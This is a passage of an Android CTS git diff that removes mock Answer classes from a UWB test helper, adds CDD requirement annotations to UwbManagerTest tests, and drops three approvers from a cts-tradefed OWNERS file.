DataSendAnswer extends AdapterAnswer { - DataSendAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - UwbAddress argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onDataSent(UWB_ADDRESS, PARAMS); - } else { - mSession.onDataSendFailed(null, REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class StopAnswer extends AdapterAnswer { - StopAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - mSession.onRangingStopped(REASON, PARAMS); - return null; - } - } - - class CloseAnswer extends AdapterAnswer { - CloseAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - mSession.onRangingClosed(REASON, PARAMS); - return null; - } - } -} diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java index 8e3c0982bb3..097f799dbff 100644 --- a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java +++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java @@ -51,6 +51,7 @@ import androidx.test.InstrumentationRegistry; import androidx.test.ext.junit.runners.AndroidJUnit4; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.CddTest; import com.android.compatibility.common.util.ShellIdentityUtils; import com.google.uwb.support.fira.FiraOpenSessionParams; @@ -120,6 +121,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfo() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -134,6 +136,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfoWithChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -149,6 +152,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetChipInfos() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -164,6 +168,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfoWithInvalidChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -177,6 +182,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfoWithoutUwbPrivileged() { try { mUwbManager.getSpecificationInfo(); @@ -189,6 +195,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfoWithChipIdWithoutUwbPrivileged() { try { mUwbManager.getSpecificationInfo(mDefaultChipId); @@ -202,6 +209,7 @@ public class UwbManagerTest { @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanos() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -214,6 +222,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanosWithChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -227,6 +236,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanosWithInvalidChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -240,6 +250,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanosWithoutUwbPrivileged() { try { mUwbManager.elapsedRealtimeResolutionNanos(); @@ -252,6 +263,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanosWithChipIdWithoutUwbPrivileged() { try { mUwbManager.elapsedRealtimeResolutionNanos(mDefaultChipId); @@ -264,6 +276,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testAddServiceProfileWithoutUwbPrivileged() { try { mUwbManager.addServiceProfile(new PersistableBundle()); @@ -276,6 +289,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testRemoveServiceProfileWithoutUwbPrivileged() { try { mUwbManager.removeServiceProfile(new PersistableBundle()); @@ -289,6 +303,7 @@ public class UwbManagerTest { @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetAllServiceProfilesWithoutUwbPrivileged() { try { mUwbManager.getAllServiceProfiles(); @@ -301,6 +316,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetAdfProvisioningAuthoritiesWithoutUwbPrivileged() { try { mUwbManager.getAdfProvisioningAuthorities(new PersistableBundle()); @@ -313,6 +329,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetAdfCertificateInfoWithoutUwbPrivileged() { try { mUwbManager.getAdfCertificateInfo(new PersistableBundle()); @@ -325,6 +342,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetChipInfosWithoutUwbPrivileged() { try { mUwbManager.getChipInfos(); @@ -337,6 +355,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testSendVendorUciWithoutUwbPrivileged() { try { mUwbManager.sendVendorUciMessage(10, 0, new byte[0]); @@ -372,6 +391,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testProvisionProfileAdfByScriptWithoutUwbPrivileged() { CountDownLatch countDownLatch = new CountDownLatch(1); AdfProvisionStateCallback adfProvisionStateCallback = @@ -390,6 +410,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testRemoveProfileAdfWithoutUwbPrivileged() { try { mUwbManager.removeProfileAdf(new PersistableBundle()); @@ -434,6 +455,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testRegisterVendorUciCallbackWithoutUwbPrivileged() { UwbManager.UwbVendorUciCallback cb = new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1)); @@ -449,6 +471,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testUnregisterVendorUciCallbackWithoutUwbPrivileged() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); UwbManager.UwbVendorUciCallback cb = @@ -474,6 +497,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testInvalidCallbackUnregisterVendorUciCallback() { UwbManager.UwbVendorUciCallback cb = new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1)); @@ -564,6 +588,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithInvalidChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CountDownLatch countDownLatch = new CountDownLatch(1); @@ -583,6 +608,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithChipIdWithBadParams() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CancellationSignal cancellationSignal = null; @@ -610,6 +636,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithInvalidChipIdWithBadParams() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CancellationSignal cancellationSignal = null; @@ -640,6 +667,7 @@ public class UwbManagerTest { * Simulates the app holding UWB_RANGING permission, but not UWB_PRIVILEGED. */ @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithoutUwbPrivileged() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -659,6 +687,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithChipIdWithoutUwbPrivileged() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -682,6 +711,7 @@ public class UwbManagerTest { * Simulates the app holding UWB_PRIVILEGED permission, but not UWB_RANGING. */ @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithoutUwbRanging() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -701,6 +731,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testOpenRangingSessionWithChipIdWithoutUwbRanging() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -752,6 +783,7 @@ public class UwbManagerTest { * the proxied app not holding UWB_RANGING permission. */ @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"}) public void testOpenRangingSessionWithoutUwbRangingInNextAttributeSource() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -776,6 +808,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"}) public void testOpenRangingSessionWithChipIdWithoutUwbRangingInNextAttributeSource() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -801,6 +834,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"}) public void testFiraRangingSession() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CancellationSignal cancellationSignal = null; @@ -894,6 +928,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-4"}) public void testUwbStateToggle() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -910,6 +945,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testSendVendorUciMessage() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CountDownLatch rspCountDownLatch = new CountDownLatch(1); @@ -943,6 +979,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testSendVendorUciMessageWithFragmentedPackets() throws Exception { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); CountDownLatch rspCountDownLatch = new CountDownLatch(1); diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS index d27cf197c1d..9577d3af4d1 100644 --- a/tools/cts-tradefed/OWNERS +++ b/tools/cts-tradefed/OWNERS @@ -3,11 +3,6 @@ guangzhu@google.com normancheung@google.com jdesprez@google.com -# Android Partner Eng Approvers -aaronholden@google.com -yuji@google.com -nickrose@google.com - # File Specific Approvers per-file Backup* = file:platform/frameworks/base:/services/backup/OWNERS per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com |